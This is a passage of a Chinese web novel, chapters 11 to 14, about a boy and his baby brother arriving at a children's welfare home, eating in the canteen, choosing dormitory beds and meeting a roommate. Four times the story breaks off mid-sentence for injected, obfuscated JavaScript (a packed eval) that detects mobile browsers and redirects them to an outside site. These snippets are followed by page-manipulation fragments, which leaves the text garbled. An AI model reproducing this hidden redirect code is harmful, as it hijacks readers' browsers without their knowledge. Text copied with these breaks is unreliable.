可慢慢地,望着在杭院长怀里又乖又软萌,还会“咿呀呀”撒娇的小胖崽,再想到在自己怀里时,这崽堪称天差地别的、调皮捣蛋摇头翘脚的表现,商砚辞眸光不由得发生了一点变化。 ——这小小一只崽,怎么还能有两幅面孔呢? ——小乖,不乖。 “小辞,你去打饭吧。” 确定许岁禾已经适应了自己的怀抱,杭院长笑着转头看向商砚辞:“我抱着小禾跟在你旁边,放心,不会让小禾离你太远的。” 虽然知道这样并不是很好,但商砚辞不得不承认,听到杭院长说她不会让小乖离自己太远时,他心底确实是松了一口气的。 杭院长是个好人……可是,小乖是他最后的亲人了。 眉眼俊秀的男孩抿了下唇角,压下心头翻滚的愧疚之情,低低应了声:“好。” 杭院长似乎什么也没察觉,仍然慈爱而温和地笑着:“去吧。” 商砚辞点头。 不过,就在他将要抬脚朝打饭窗口走去的那一刻,他突然改了主意。 脚步一转,商砚辞走到了杭院长身前。 杭院长眉梢微扬。 只是她还未开口询问,商砚辞就已经做完了他早就想做的事。 ——戳一戳许岁禾圆乎小脸上缀着的肥噜噜小软膘。 “??!” 无辜被戳的许岁禾瞪圆蓝眸,气咻咻:“啊!” 小胖崽茫然又生气的小奶音满含控诉,刚干完坏事的商砚辞却极为淡定,留下一句“手感不错”后,就转身朝打饭窗口走去。 “?!!” 许岁禾望着哥哥渐渐走远的身影,小脸上布满了不可思议。 “啊呜呜呀!” 坏蛋哥哥! “好啦好啦,小禾乖,咱们不生气。”一直旁观兄弟俩互动的杭院长温声哄道:“我们去看看食堂今天有什么饭饭——” “诶呀,原来有猪肉炖粉条和土豆丝炒肉啊——” 杭院长抱着气哼哼的崽走到一个离商砚辞稍远一些的打饭窗口,笑道:“虽然食堂里的饭菜不是一成不变的,但数来数去,最常出现的也就那么几样。” “今天的猪肉炖粉条和土豆丝炒肉就是经常出现的菜,味道还不错。等以后我们小禾长牙了,就可以过来尝一尝。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13828466|146405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许岁禾歪头去瞅。 热气腾腾的各式菜肴映入眼帘,炖得软烂的猪肉、吸满汤汁的粉条、酸辣爽脆的土豆丝…… 饭菜香气扑鼻而来,第一次见到这种‘大场面’的人类幼崽呆了呆,蓝眸亮起来。 “呜……” 想吃…… 机灵的小家伙显然知道谁才是真正做主的人,盯着香喷喷的饭饭看了会儿后,就仰起小肥脸,眼巴巴望向杭院长。 “呀~” 吃饭饭~ 杭院长看着满心美味饭菜,早就把生气忘到脑后的小馋崽,轻笑:“不行哦。” 说着,她摸了摸许岁禾圆鼓鼓的小肚皮,语气诱哄:“小禾已经吃饱了,肚肚都鼓起来了是不是?现在不能再往肚肚里面塞东西了,不然会难受的。” “难受就是不舒服,是不管坐着还是躺着,都赖在你身上不走的一种让人不开心的感觉。” 杭院长一边耐心地解释着,一边转身朝食堂墙壁上贴着的宣传画走去。 “我们现在来看看这幅画:节约粮食,人人有责……” 杭院长在耐心哄崽,崽的哥哥则是在不怎么专心地吃饭。 商砚辞方才借着戳脸蛋这一动作,狠狠地出了一口恶气。 这也不能怪他。就像是兢兢业业的铲屎官,满含忧虑地将自家小猫交到别人手里暂养,还没出声叮嘱呢,小猫就已经头也不回地屁颠颠跑了,还在对方身上亲昵蹭蹭…… 这种差别对待,实在可恶。 所以,商砚辞觉得,只是戳戳脸蛋而已,委实算不得什么。 可是有些时候,人就是这么奇怪。 明明心里已经下定决心,但行动上却总是背离心意——商砚辞总忍不住去看那只坏蛋崽。 站在打饭窗口前看,端着装得满满当当的餐盘时也看。 坐下看,夹菜看……就是忍不住去看。 直到杭院长哄好了气咻咻的崽,两人站到宣传画前一教一学时,商砚辞才终于摆脱那种奇怪的状态。 然后,他又遇上了一个新的问题。 一点也不饿的他怎么才能将这一餐盘满满当当的饭菜吃完呢? 商砚辞陷入沉思。 12. 福利院 康安儿童福利院,食堂。 盛夏日光透过窗子,投射出一条条笔直而灿烂的浅金色光带,随之而来的热意与室内清爽的凉风针锋相对,在窗底那一方小小的空间中毫不相让,僵持难解。 商砚辞恰巧坐在那战场边缘。 热度与微风纠缠着拂过他额前碎发,又争先恐后地从盛满食物的餐盘上飞掠而过。 “……谁知盘中餐,粒粒皆辛苦。” 不远处传来杭院长耐心温和的嗓音,间或夹杂着许岁禾“咿咿呀呀”的应和声。 在这静谧安稳的午后,时间都仿佛放慢了脚步。 商砚辞突然轻且低地叹了口气。 他先是把许岁禾剩下的那一小碗米汤喝掉,紧接着,扭开奶瓶,将瓶中残留的奶倒进空着的碗中。 奶瓶里残留的奶不多,商砚辞很快便喝掉了。 将许岁禾全部的剩饭都打扫干净后,浓眉俊眼的男孩这才拿起筷子,低头继续吃饭。 ——不是刚刚总忍不住去看许岁禾时那种心不在焉的随便吃点,而是认认真真的一口饭一口菜,动作自然且神色专注。 先前商砚辞过去打饭时,打饭的工作人员不知道从杭院长那里听说了什么,又脑补了什么,望向商砚辞的眼神十足慈祥且怜爱,饭菜也给的很足。 正巧商砚辞那时有些心绪不宁,脑海里全都是某只坏蛋崽的区别对待,一不留神,就错过了拒绝的最佳时机,只得端着沉甸甸的餐盘走回桌前坐下。 失误已经酿成,再懊恼与后悔也只是徒增烦恼罢了。商砚辞迟疑一瞬后,便迅速接受了这个后果,并开始思考解决方案。 儿童福利院里孩子众多,每个人的胃口大不相同,不可能每次打饭都是正正好好的,那些实在吃不完剩下的饭菜是怎么处理的? 他是不是也可以这样处理? 想着,商砚辞夹起一筷子土豆丝,眸中若有所思。 不过,很快,他就发现自己多虑了。 ——他把一整个餐盘里的饭菜都吃完了。 看着空空如也的餐盘,眉眼轮廓深邃且流畅的男孩神色有一瞬间的茫然。 他不过是想着能吃多少就吃多少,不能浪费却也不必过分逞强,便一口一口按部就班地吃着饭而已,怎么不知不觉间就清空了餐盘呢? 最重要的是,他感觉自己还是处于没吃饭之前的那种状态——不饿,却也不撑。 商砚辞难以抑制地微微变了脸色,心中思绪纷纭杂沓。 杭院长趁和怀里天真烂漫的小胖崽说话的间隙,朝商砚辞那边望去。 见桌上的餐盘空了,她有些惊讶:“小辞?你这么快就吃完了?” “呀?” 已经被哄好的小胖崽也循声看去,清湛水润的蓝眼睛忽闪着,跟只好奇小猫似的。 探头探脑.jpg 商砚辞眸中不自觉染上笑意。 “我吃好了。”他迅速敛去异样,答道。 杭院长走近一些,似是想说些什么,话到嘴边却转了话锋:“用完的餐盘和筷子都放到那边就行,待会儿会有人统一拿下去清洗的。” 等商砚辞放好餐盘走回来,她才小心地将怀里软乎乎的一小只崽递过去:“既然吃好了,那我们就去宿舍看看。” 商砚辞抱稳许岁禾,点头。 “走吧。”杭院长顺手拿起放在椅子上的深蓝色书包,商砚辞还没开口,她就道:“一个书包而已,也不沉,就别跟我抢了。” 商砚辞瞧见杭院长眼底的坚持,没再说什么,只垂眸道了声谢。 跟着精神奕奕的杭院长,两小只走进男生宿舍楼。 姜旻的宿舍——也就是他们要去的宿舍在三楼,杭院长却没有直接上楼,而是先扫视了一圈,然后走到离楼梯口最近的那间宿舍门前,敲了敲门。 没一会儿,宿舍门便打开一条缝,一个烫着卷发的中年女子探出头来,神色微讶:“院长?” “是我。”杭院长问:“小徐呢?我记得今天是她值白班。” “上楼去了。”卷发女子把门拉开,让他们进来:“刚刚不是送来了一群孩子吗?有几个孩子不适应,哭闹起来了,小徐就过去看看。” “这是……”她看向站在一旁的男孩和乌发蓝眸的漂亮小婴儿,有些迟疑。 “商砚辞、许岁禾。”杭院长简单提了提名字,没有深说:“以后他们就是咱们福利院的孩子了。” “小禾和小辞跟刚才送过来的那些孩子是一起的,不过我带他们去了趟医务室,耽误了些时间,所以现在才过来。” 卷发女子听出了杭院长的意思,回想起男生宿舍楼的情况,不由得面露难色。 她没在两个孩子面前直说,而是把杭院长请到屋外,关上门,压低了声音:“院长,现在男生宿舍已经差不多住满了,很难再找出合适的床位……” “我知道。”杭院长道:“但姜旻那间宿舍不是就只有他一个人住吗?” 卷发女子愣了下,很快反应过来:“那行。那我去给他们找被子和洗漱用品。” “院长,姜旻住在3-09。你们先上去吧,一会儿我直接把东西送过去。” “行。小华,辛苦你了。”杭院长叹了口气,看向紧闭的屋门,神色复杂:“污染啊……二十多年了……什么时候才能结束呢?” …… 和卷发女子告别后,杭院长边领着两个孩子上楼,边介绍道:“刚刚那是男生宿舍的宿管阿姨,姓华。你们可以叫她一声华姨。” “男生宿舍一共有两位宿管阿姨,另一位姓徐,过一会儿你们应该就能见到了。” 商砚辞认真记下。 康安儿童福利院的男生宿舍楼是一栋三层小楼,洗漱间和厕所都统一在长廊右侧尽头处,楼梯则位于小楼中央。 宿舍3-09在三楼左侧最末端,离厕所和楼梯都有一段距离,最是安静。 “喀。” 杭院长轻轻推开3-09的宿舍门,然后侧过身,让两个孩子先进。 商砚辞没有拒绝。 宿舍里面的空间并不算小。因为考虑到是给小孩子们住的,所以宿舍里的床不是那种上下铺,就是简单结实的铁床,两侧各摆两张。 3-09宿舍中,右侧靠里的那张床上已经铺好了被褥,其他三张床则是空荡荡的,与之形成了鲜明对比。 “小辞,你和小禾先在这里待一会儿,我去帮你们华姨把洗漱用品什么的都抱上来。” 杭院长将手里的书包放在左侧靠门的那张床上,说道。 商砚辞闻声抬头,还没开口,她就紧接着说:“你俩可以趁这段时间熟悉熟悉环境,顺便看看喜欢哪张床。” “除了姜旻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13828467|146405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床,其余三张你们随便挑。”杭院长语气平和:“不用顾忌太多,以后这里就是你们的住处了,总要自己舒服才好。” 说完,她摆了摆手,走出宿舍。 宿舍门关拢,耳畔越发静谧。 外界的纷扰繁乱似乎就这样轻而易举地被一扇薄薄的木门阻挡在外。安静的宿舍内,呼吸声清晰可闻。 商砚辞沉默须臾,将视线从门上收回。 他低眸看向怀里跟只好奇心旺盛的小狗崽似的,正探着小脑袋四处张望的许岁禾,轻声问:“小乖要选床吗?” 许岁禾仰着小胖脸,懵懵回望。 见此,商砚辞眸光微暖,他往上托了托这只颇为瓷实的实心崽:“那我先选了。” 言罢,他环顾一周,最后走到深蓝色书包所在的那张铁床边,认真道:“我选这张床,小乖选对面那张床好不好?这样的话,晚上睡觉我们也能看到彼此。” 暂未将语言功能开发完全的崽歪歪头,发表不出什么实质性的意见,只得另辟蹊径,扑扇着乌黑浓密的眼睫,眉眼弯弯地笑起来:“嗷~” “嗯。”商砚辞就当小家伙答应了,并承诺道:“等以后你学会说话,我们可以再选一次。” “嗷嗷~”许岁禾短胖四肢很给面子地扑腾了两下,婴言婴语虽没什么含义,但主打一个参与。 * “咚咚。” 屋门响了两声,然后,杭院长和华姨,还有一个穿着蓝色短袖的女人走了进来。 商砚辞看向后者。 不出所料,杭院长很快就开口介绍道:“小辞、小禾,这是我跟你们说过的男生宿舍的另一位宿管阿姨。” 徐姨是一个看起来颇为严肃的中年女子,不怎么爱说话,但干起活来动作却十分利索。 没让商砚辞动手,华姨、徐姨和杭院长三人就把牙膏牙刷、床单被套纸尿裤和其他一些零零碎碎的东西都一一规整好了。 看着焕然一新的两张床铺,杭院长温声道:“小辞,你应该也累了,和小禾在宿舍里好好休息。我们就先走了,不打扰你们了。” 又简单叮嘱了几句,杭院长她们便走出宿舍。 宿舍门关上。 只剩下商砚辞和许岁禾的房间骤然安静下来。 “呜?”许岁禾瞅瞅空荡荡的宿舍,仰头看向兄长,发出困惑的小奶音。 “杭奶奶她们有自己的事情要做。”商砚辞摸了摸许岁禾的小圆脸,解释道。 许岁禾没再出声,只是腮帮子鼓起,小表情看起来不太高兴。 商砚辞思忖稍许,突然俯身将许岁禾放在了床上——许岁禾的床上。 “?”许岁禾歪头,绣着只小萨摩耶的帽子掉在一旁。 “啊呜——” 崽朝兄长伸出了两只小短手。 要抱抱! 理直气壮.jpg 商砚辞:“这是小乖的床,小乖之前也是自己睡的。” “啊!” 矮矮圆圆的小爪子晃了晃,奶呼呼的小声音染上不满。 黑发黑眸的男孩盯着崽看了会儿,似是妥协:“好吧。” 他果断且迅速地将崽抱到了自己床上。 “姨母说我睡觉很老实,这里的床也足够大。” 商砚辞几近自言自语:“所以,小乖和我睡一张床也可以。” 13. 福利院 哥哥嘀嘀咕咕,崽崽迷迷糊糊。 许岁禾懵头懵脑地望着正自己说服自己的兄长。对一只还没驯服口舌声带的崽来说,过于晦涩难懂的话语一落进耳朵里,便自动消弭泯没,只留下“小乖”一词清晰完整,无比明显。 哥哥叫我了诶~ 是要我做什么吗? 可是我听不懂诶…… 水汪汪圆滚滚的大眼睛无辜地眨巴两下,一躺到柔软床铺上面后,就“咻”地蹿出来占据脑海的困劲儿愈发上涌。 困乎乎的小家伙实在弄不懂自家兄长的想法,忍不住打了个哈欠,露出粉嫩的小舌头。 商砚辞刚好瞧见这一幕,声音微顿,眸底情不自禁地染上细碎笑意。 许岁禾却没发现。 打完哈欠后,小家伙鼓起白嫩包子脸,严肃地陷入思索。 半晌,空空如也的小脑袋瓜仍旧空空如也,什么灵光乍现,什么醍醐灌顶——通通都和这只已经被困意打得节节败退的呆懵胖崽沾不上边。 于是,许岁禾只得选择自己最熟悉,也最战无不胜攻无不克的一招——粉雕玉琢如琉璃娃娃般的小家伙蓝眼睛一弯,白生生的小嫩脸上绽出一个又甜又乖的笑容。 那天真无邪懵懂纯稚的小模样,简直就像是一团软乎乎的棉花糖,直接甜到人心里去了。 而且,这只甜丝丝的崽还发出了一声虽然不带任何含义却含糖量极高的软糯小奶音:“呀~” 商砚辞:“……” 缴械投降.jpg “没听懂就没听懂吧,鬼精鬼精的小坏蛋。” 眉眼尚且稚嫩的俊秀男孩摸了摸弟弟软嫩圆乎的小脸,语气无奈而好笑:“知道你困了,睡吧,哥哥陪着你。” 许岁禾歪头瞅向兄长。 不愧是被商砚辞真心实意地冠以“鬼精鬼精”名头的崽,许岁禾当即就从自家兄长的动作和语气中敏锐地察觉出了什么,清透无瑕的蓝眼睛瞬间亮了起来。 商砚辞挑眉,心底不禁生出些许好奇。 这只坏蛋崽现在又想干什么? 不是困了吗?还不睡觉? 在商砚辞不解且探究的注视下,许岁禾正式开始了他艰苦卓绝的大工作。 只见那小小软软的人类幼崽先是翘起两只奶胖奶胖的小脚,奋力向上伸展一下后,落下,再分别向左下方和右下方探去。 与此同时,两条胖莲藕似的小肉胳膊也没闲着,压在床上努力向外伸呀伸,小爪爪张开,甚至连爪尖都在用力。 最后,成功将自己摊平,成了个‘大’字型的崽满意地晃晃圆脑袋,脸颊上的小软肉也跟着颤,一举一动憨态可掬,煞为可爱。 不过,还没高兴多久,小家伙就沉重地叹了口气——累的。 商砚辞在一旁将许岁禾的一系列动作从头看到尾,险些笑出声来。 这是在干什么?占地盘? 小乖你怎么能这么可爱啊? 想着,他眸中笑意愈浓。 这边,对兄长的宠溺目光毫无察觉的许岁禾叹气过后,很快又欢喜起来。 他自觉完成了一件超级重要的大事,一只崽雀跃了好一会儿,才渐渐抵不住困意,睡了过去。 又浓又密的眼睫悄然落下,胖墩墩的小家伙挺着小肚腩,安安静静地陷入了香甜睡梦。 商砚辞把被子给许岁禾盖上,静静地看了一会儿,刚准备翻身上床,却忽地面色一变。 小乖还没洗漱就睡了! 他的目光先是看向许岁禾攥成拳头的小胖手,又慢慢移向放在地上的、脏兮兮的深蓝色书包,最后,落到了自己的手上。 小乖没有洗漱,他也没有洗漱,而且书包里还有用过没刷的奶瓶…… 商砚辞唇角紧抿。 “呀…呜…” 这时,床上的小胖崽突然哼唧了两声,小短腿踢蹬踢蹬,骄傲地、坚定地把被子给踹跑了。 上衣歪走,白嫩嫩的小肚腩耀武扬威地向商砚辞彰显着自己的存在感。 “……” 商砚辞默默将衣服扯下,遮住小肚腩,再把被子重新给崽盖好。 经此一遭,他也不纠结了。拿起杭院长和华姨她们刚叠好放进衣柜里的短袖短裤换上后,就利落地上床躺在了许岁禾身旁。 虽然许岁禾刚刚那么努力地摊平四肢占地盘,可是康安儿童福利院的宿舍空间大,床也宽敞,商砚辞躺上去仍是绰绰有余。 身下是柔软舒适的床铺,身侧传来温热绵软的触感,耳畔小孩子比成年人稍快的呼吸声细微却清晰…… 汹涌倦意突然如浪潮般涌来,那些曾消失得无影无踪的疲累劳倦也钻出洞穴,张开狰狞的爪牙,不顾一切地反扑而上。 商砚辞都没来得及思考些什么,就被黑暗捕获,沉沉睡了过去。 * 一觉醒来,宿舍墙上挂着的钟表时针已然悄悄变幻了位置。 商砚辞下意识转头,见许岁禾还乖乖躺在自己身侧,不由得松了一口气。 微风拂过,窗外繁茂深绿的枝叶摇曳轻舞。孩童嬉闹的声音遥遥传来,伴着斜斜落入室内的浅金日光,美好得近乎虚幻。 没有血肉模糊的残肢断臂,也没有恐惧怨恨的绝望哀嚎……商砚辞望着身侧不哭不闹地玩着胖指头,自己就把自己哄得眉开眼笑的许岁禾,心底生出一股奇异的安稳与宁静。 我和小乖都活下来了。 真好。 眉眼尚带稚气的男孩微微笑起来,目光温柔而专注。 良久,他终于起身,穿鞋,然后将奶瓶和奶粉从书包里取了出来。 “嗷!”一瞧见熟悉的家伙事儿,床上脸蛋白嫩的小家伙圆眼睛立即变得晶晶亮,讨食的雏鸟绒团一样眼巴巴望向兄长。 “现在还不能冲奶粉。”商砚辞被许岁禾渴盼的目光看得动作稍顿,但还是摇头坚定拒绝:“奶瓶还没刷,不干净,喝了会生病的。” 期冀落空,许岁禾小脸一蔫。要是他头顶有耳朵的话,那对毛茸茸的耳朵肯定也是委屈巴巴地耷拉着。 商砚辞从柜子里找出几件衣服,在书包底部铺好后,走回床边,正巧瞧见小家伙这哀哀怨怨的小模样,不由得失笑:“小乖,你这回儿又听懂了?” 许岁禾像只没得到小鱼干的郁闷小猫,咕咕噜噜的,不肯搭理他。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13828468|146405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“好啦,很快就能喝到了。” 商砚辞安慰地摸摸小家伙柔软乌黑的头毛,而后俯身把他抱起来,放到书包里面。 “呀?”周围环境突然变了,郁闷小猫忙抛下郁闷,疑惑仰头。 “洗漱间离这里有些远。”商砚辞边换上睡前脱下的脏衣服,边解释道:“留小乖你一个人待在宿舍里我不放心。” 许岁禾晃晃小脚丫,又圆又亮的蓝眸透着股懵懂无辜。 小乖又怎么啦? 猫猫困惑歪头.jpg “又没听明白?”商砚辞戳戳小胖崽软乎乎的脸蛋,无奈道:“我有时候都怀疑小乖你不是听不懂,而是一听到自己不喜欢或不感兴趣的话,就直接屏蔽了,根本不听。” 被戳了脸蛋的小朋友气哼哼,还没“呜呜呀呀”地开口抗议,就身体一轻,被兄长连崽带书包地一把抱起。 “走了,我们去刷奶瓶。”手指勾住奶瓶上面的塑料圈,商砚辞笑道。 但刚走了几步,想起什么,他突然又退了回去。 哇? 好奇,但还记得自己是在生气的小胖崽犹豫了会儿,蓝眼睛一闭。 看不见就不好奇啦! 取了个纸尿裤的商砚辞被许岁禾掩耳盗铃的小模样逗笑,艰难地忍住笑声——免得某只崽恼羞成怒——继续向洗漱间走去。 这个时间点,康安儿童福利院的孩子们还在室外活动,宿舍楼长廊右侧尽头的洗漱间空无一人。 商砚辞抱着许岁禾走进去,抬眸打量空荡荡的洗漱间。 整洁。 这是商砚辞对洗漱间的第一印象。 洗漱台是由大理石板制成的,在洗漱间两侧的水龙头下方,从门口到窗台,平铺而去。 两排洗漱台中间是一个大大的铁架子,一条条横平竖直的不锈钢方管交错隔出许多格子。贴着名字的颜色大小相同的洗手盆就规规矩矩地放在格子里面。 洗漱间靠门的位置,摆着一台开水机,上面贴着醒目的红色警示标语——“小心烫伤”。 商砚辞的目光在开水机的警示标语上停留稍许,然后,他将书包放在洗漱台因长时间没有人使用而变得干燥的区域,换好纸尿裤后,轻声道:“小乖,我去刷奶瓶,你在这儿等我一会儿好不好?” 说着,他举起奶瓶,在许岁禾眼前轻轻晃了晃。 还有一点点生气的小胖崽盯着奶瓶,歪歪头,似是明白了什么,“呜呀”一声,蓝眼睛溢满了闪亮亮的光。 商砚辞失笑。 他有点想捏小胖崽的脸蛋,但还是忍住了,最后只叮嘱了句“乖乖等我”,就走向稍远一些的水龙头。 洗手,清洗奶瓶,再到开水机前打好热水。 商砚辞每一个步骤都很耐心、细致。 终于—— “走吧,世界上最乖最可爱的小乖小朋友,我们该回去了。” 一切准备就绪,商砚辞手指勾着奶瓶上的塑料圈,弯腰抱起相依为命的弟弟,伴着奶声奶气的咿呀稚语,踏上归途。 窗外,晚风悠扬,夕阳璀璨。 灿烈酷热的盛夏,终于在此刻染上了一抹温柔。 14. 福利院 “……姜旻?” 宿舍门大敞,商砚辞停在门外,看着屋内那个蹲在衣柜前翻找的身影,微微疑惑:“你怎么没关门?” “诶——这儿呢。” 姜旻闻声回头,看清楚是谁在叫自己后,忙站起来:“你回来了……哦哦,你说门啊……” 他终于意识到什么,不好意思地挠挠头:“我没关吗?” “我以为我顺手把门带上了,哈哈,原来没有啊……” 商砚辞望着这个明显有些局促的小胖子,神色诧异:“你怎么了?” 之前在福利院门口揭穿他的掩饰时,不是还很热心大胆吗? “没怎么,没怎么……” 姜旻眼珠不安地转动着,疯狂想找个话题扯过这一问。 所以,当他不经意间瞥到身旁的衣柜时,眼睛一亮,立即道:“我刚刚在找明天穿的衣服,我想找件短袖……对了!” “这是我的柜子!我绝对没有动你们的东西!” 看着这个突然激动起来的小胖子,商砚辞沉默须臾,平静地开口:“我知道。” “宿舍里一共有四个柜子,分别在四个角落里。你打开的那个柜子就在你床头边,明显是你的柜子。” 说着,他走进宿舍,先是将奶瓶放在柜面上,然后小心地把书包放下,从里面抱出软乎乎的许岁禾。 “他好小啊——” 瞧见乌发蓝眸包子脸的小胖崽,姜旻顿时顾不得其他了,感叹道:“杭奶奶说得对,真可爱!” 许岁禾好奇地看着这个突然出现在宿舍里的陌生男孩:“呀?” 你是谁呀? “你叫许岁禾对不对?”姜旻听不懂许岁禾的呜呀声,但这并不妨碍他的热情。 他兴致勃勃地凑过来,望着许岁禾的目光就像是看到了什么可爱的、毛茸茸的小动物:“我是姜旻,今年十岁了,你应该叫我哥哥……” 为了能将许岁禾粉雕玉琢的小脸蛋看得更清楚,姜旻凑得极近。 夏季衣衫薄,另一个人的热量忽地从身侧传来,商砚辞下意识皱起眉毛,往旁边避了避:“你离得太近了。” “啊?”姜旻一呆。 他在面对商砚辞时,总好像有什么顾忌。刚刚因为突然看到奶膘软乎的漂亮小崽而生出来的兴奋劲儿褪去后,他又变得拘谨起来:“对不起啊……” “你到底怎么了?”商砚辞抱稳怀中软软香香的小胖崽,眸色不解:“我又不会吃了你,而且以后我们就是舍友了,你确定要一直这样和我说话?” “嗷!” 见自家兄长说了一长串的话,许岁禾虽然听不懂,但也不甘示弱,忽闪着亮如星辰的圆眼睛,奶声奶气地开口:“呜嗷!” 这个热闹崽必须得凑! 商砚辞严肃锐利的神色险些维持不住。 他垂眸看向眉飞色舞神气活现的小胖崽,幽黑瞳眸中漫出一抹无奈。 “好啦,知道了。”眉目锋利坚韧的男孩摸了摸弟弟蓬松乌软的头毛,语气带着微不可察的宠溺:“小乖最厉害了。” “……小乖?这个名字真可爱,是他的小名吗?我能叫吗?” 被商砚辞漆黑深邃的眼眸盯得心底发毛的姜旻慌不择路,随便抓了一个重点词就开始自由发挥:“我一直想有个弟弟或妹妹,小乖这么可爱,可以当我的弟弟吗?” 虽是胡乱扯的话题,可说着说着,姜旻却真心实意起来:“你弟弟白白胖胖,眼睛也亮闪闪的,跟天上的星星似的,比隔壁楼小梅花最喜欢的洋娃娃都好看,你让他给我当弟弟怎么样?” “我会对他好的!”姜旻郑重地像一个在婚礼现场对着新娘子家人发誓的新郎。 商砚辞看着这个大言不惭的、总在该拘谨的时候展露不着调本质的小胖子,冷冷道:“做梦。” “你怎么能这样?!” 姜旻震惊:“我都这么真诚了,你居然还不同意!” “你这会儿又不别别扭扭的了?”商砚辞没搭理他的话,只反问道:“你不是害怕我吗?” “怎么可能?!!” 姜旻嘴硬:“我才不怕你,我那是、那是不好意思!” 商砚辞俯身将仰着小脑袋听得一脸懵懵然的许岁禾轻轻放在床上,边拿起奶粉罐,边问:“你不好意思什么?因为之前在福利院门口揭穿了我?” 姜旻卡壳。 良久,被戳破心思的小胖子悻悻道:“我不知道你是想保护小乖……” “我怎么能猜到你的书包里藏了个小孩?”他嘟囔着:“其实杭奶奶很好说话的,你直接抱着小乖下车也没事,她不会不要小乖的。” 偷溜出来被抓后,姜旻就老老实实地回到了活动室,没再捣蛋。 直到活动课结束,要吃晚饭了,他才磨磨蹭蹭地敲响杭院长办公室的门。 杭院长早就在办公室里等着了。 她看着走进来的,不知怎么弄得一身乱糟糟的小胖子,神色无奈。 她没教训姜旻,起身帮姜旻整理好衣服后,就领着他去了食堂。 作为杭院长办公室的常客,姜旻对杭院长的一系列反应并不陌生。但当他真的踩在了食堂的地砖上面时,心底还是不由得松了一口气。 ——杭院长从不在食堂教训小孩。 他又逃过一劫。 在杭院长无奈的目光中,姜旻挠头一笑,熟门熟路地拐去食堂窗口打饭,然后端着餐盘坐到杭院长面前。 一大一小一起吃了一顿晚饭。 等到两人都吃完了,走出食堂,在宿舍楼两侧浓茂繁盛的大树下散步消食时,杭院长终于开口。 她说的是商砚辞和许岁禾住进3-09的事。 姜旻并不意外,也没有什么抗拒之情。 在他搬进3-09时,他就猜到了会有这么一天。 姜旻更关注的是,他的新舍友们的情况:“杭奶奶,他们都是新来的孩子吗?好相处吗?” 时间回到现在。 “杭奶奶都告诉我了。” 姜旻涨红了脸,吭哧吭哧地开口:“……是我不对。” “我自认为是在帮你,但其实你根本就不需要,我还给你添了麻烦……” 他大声道:“对不起!” 商砚辞被姜旻突如其来的大嗓门惊了一瞬,下意识看向床上躺着的软绵绵奶团子,眸底泛出一抹担忧。 但事情和他想象的完全不一样。 小奶团子睁着一双圆润明亮的蓝眼睛,听得津津有味。似是察觉到了兄长的目光,小家伙还蓝眸一弯,甜甜地笑了起来。 商砚辞:“……” 是他家小乖的性格没错了。 过度忧虑的兄长默默地收回了视线。 “我做的也不对。” 商砚辞敛去眸中无奈笑意,看向姜旻时,神色冷静且沉着:“我想把小乖偷偷带进福利院,还想隐瞒伤口,这些都是不对的。” 姜旻闻言,眼中的不好意思散去一些:“杭奶奶他们没怪你。” “咳,那些事情都过去了。”他努力板起脸:“我们就谁也别怪谁了怎么样?以后我们就是舍友了,你弟弟就是我弟弟!放心,小乖我罩了!” 姜旻故作潇洒地拍拍胸膛,商砚辞却倏地冷了神色:“小乖是我弟弟,而且你可以和杭奶奶一样叫他小禾。” 姜旻不服:“你这人怎么这样?” 他眼珠一转,嚷嚷道:“小乖都没抗议呢,你这是越ju……多管闲事!” “越俎代庖。” 补充完,商砚辞又平静道:“我是小乖的哥哥,他的事就是我的事。你要是不满,可以等小乖长大了,能理解了,自己跟他说。” “小乖同意的话,我不会再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13828469|146405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阻拦。” 言罢,商砚辞用手背试了试奶瓶里奶的温度,确定不烫了,才递给明明听不懂,却还是忽闪着漂亮大眼睛,煞有介事地摇头晃脑的小胖崽。 “呜呀~” 一瞧见熟悉的、装满奶的奶瓶,许岁禾立即把姜旻抛到脑后,小奶音软软地欢呼一声后,四肢并用抱住奶瓶,咕噜咕噜快活地喝了起来。 饭饭,香! 